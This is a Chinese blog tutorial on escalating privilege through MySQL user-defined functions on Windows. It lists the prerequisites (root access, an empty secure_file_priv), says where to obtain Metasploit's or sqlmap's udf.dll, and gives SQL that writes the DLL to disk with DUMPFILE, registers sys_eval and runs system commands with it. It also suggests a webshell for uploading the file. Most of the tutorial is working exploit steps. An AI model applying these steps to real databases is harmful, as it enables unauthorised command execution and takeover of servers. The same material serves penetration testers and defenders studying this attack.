利用 mysql ufd 进行系统提权

UFD 介绍

user defined function,即用户自定义函数。是通过添加新函数,对MYSQL的功能进行扩充,性质就像使用本地MYSQL函数如abs()concat()。udf文件后缀为.dll,常用c语言编写。

  • 在mysql 5.1 以后的版本中,udf文件放在于mysql/lib/plugin目录下,目录默认是不存在的,需要使用 webshell 找到 mysql 的安装目录,并在安装目录下创建 lib\plugin 文件夹,然后将 udf.dll文件导出到该目录。

    以下这种通过文件流的机制创建目录的方法经尝试不可行,提示不允许操作。(路过的大佬指导一下~)

    select 'xxxxxx' into dumpfile 'C:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin::$INDEX_ALLOCATION';
    
  • 如果mysql版本小于5.1, udf文件在windows 7下放置在C:\windows目录,在windows server 2003下放置于C:\windows\system32目录,在windows server 2000下放置在C:\winnt\system32目录。

前提

  1. 需要mysql root权限的账户,因为需要用 create 操作
  2. 根据 mysql 版本确定plugin_dir目录
  3. mysql配置文件配置项secure_file_priv=置空,表示不限制导入导出目录(mysql5.5 之前 secure_file_priv 默认是空)
  4. 如果是mysql 5.1之后的版本,目前来说必须存在lib\plugin\目录

提权

环境信息:windows 7,mysql 5.0.96

  1. 通过 root 账户登录到 mysql 后,获取一些变量信息,看是否满足前提条件

    select version(); # 查看mysql版本
    select @@plugin_dir # 查看plugin文件夹路径,5.1版本之后有效,如果是5.1之前版本会报错,按系统默认的来
    show global variables like 'secure%'; # secure_file_priv 变量必须为空,5.1一上版本需要在my.ini文件的[mysqld]下增加配置 secure_file_priv=
    

    image-20210912163343100

  2. 从 MSF 中获取利用的 udf.dll 文件,目录/usr/share/metasploit-framework/data/exploits/mysql;或者从 sqlmap 中取,目录/usr/share/sqlmap/data/udf/mysql

    建议用MSF下的udf文件,sqlmap下的是经过编码的,如果要用需要先解码
    image-20210912164347363

  3. 通过 webshell 将 udf.dll 上传到C:\windows目录下,或者通过 sqlshell 写进去(udf.dll是自己改的名字,不改也行,下面命令中用到的文件名和这里对应就行)

    CREATE TABLE udftmp (c blob); //新建一个表,名为udftmp,用于存放本地传来的udf文件的内容。
    INSERT INTO udftmp values(unhex('udf文件的16进制格式')); //在udftmp中写入udf文件内容
    SELECT c FROM udftmp INTO DUMPFILE 'C:\\windows\\udf.dll'; //将udf文件内容传入新建的udf文件中,路径根据自己的@@basedir修改
    
  4. 创建自定义函数,并执行系统命令

    CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll'; # 导入自定义函数
    select sys_eval('whoami');
    DROP FUNCTION sys_eval; # 删除自定义函数
    

    image-20210912145729126

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值